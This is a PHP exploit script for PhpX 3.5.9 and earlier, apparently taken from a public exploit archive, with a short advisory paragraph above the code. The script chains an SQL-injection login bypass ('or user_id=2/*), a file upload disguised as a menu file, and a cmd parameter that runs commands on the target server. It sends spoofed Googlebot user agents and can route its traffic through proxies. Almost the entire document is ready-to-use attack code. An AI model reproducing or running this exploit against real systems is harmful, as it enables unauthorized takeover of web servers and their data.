PhpX <=3.5.9 SQL injection/remote commands xctn exploit

source: https://www.securityfocus.com/bid/15680/info PHPX is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. login bypass->remote commands xctn exploit # # by rgod # # site: http://rgod.altervista.org # # # # usage: launch this script from Apache, fill requested fields, then go... # # # # Sun-Tzu: "The onrush of a conquering force is like the bursting of pent-up # # waters into a chasm a thousand fathoms deep" # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'PhpX <=3.5.9 SQL injection/remote commands xctn exploit

a script by rgod at http://rgod.altervista.org

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "

	".$headeri[$li+$ki]."
0".$datai."	".$datai."		".$headeri[$li]."

"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$command=$_POST[command]; $proxy=$_POST[proxy]; if (($host<>'') and ($path<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); $SQL="'or user_id=2/*"; $SQL=urlencode($SQL); #STEP 1 -> Login Bypass... $data="username=".$SQL."&password=&login=yes"; $packet="POST ".$p."admin/index.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."admin/login.php?code=i\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Googlebot/2.1 \r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); if (eregi("Location: index.php",$html)) {echo "Exploit succeeded...
";} else {die("Exploit failed...");} $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $COOKIE=$temp2[0]; echo '
Your cookie: '.htmlentities($COOKIE); #STEP 2 -> Shell upload... $data='-----------------------------7d5baf306c0 Content-Disposition: form-data; name="confirm" 1 -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file1"; filename="C:\suntzu.php.menu" Content-Type: text/plain -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file2"; filename="" Content-Type: application/octet-stream -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file3"; filename="" Content-Type: application/octet-stream -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file4"; filename="" Content-Type: application/octet-stream -----------------------------7d5baf306c0 Content-Disposition: form-data; name="file5"; filename="" Content-Type: application/octet-stream -----------------------------7d5baf306c0 Content-Disposition: form-data; name="more" 0 -----------------------------7d5baf306c0--'; $packet="POST ".$p."admin/images.php?action=create HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."admin/images.php?action=create\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d5baf306c0\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: IncyWincy data gatherer\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$COOKIE."\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 3 -> Retrieve filename from file list... $packet="GET ".$p."admin/images.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."admin/images.php?action=create\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: Jakarta Commons-HttpClient/3.0-rcx\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$COOKIE."\r\n\r\n"; show($packet); sendpacketii($packet); $temp=explode('suntzu.php.menu',$html); $i=count($temp)-1; $temp2=explode("/files/",$temp[$i-1]); $i=count($temp2)-1; $FILENAME=$temp2[$i].'suntzu.php.menu'; echo '
File has been renamed as: '.htmlentities($FILENAME); #STEP 4 -> Launch commands... $packet="GET ".$p."files/".$FILENAME."?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="User-Agent: Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html)\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); } else {echo "Fill * required fields, optionally specify a proxy...";} ?>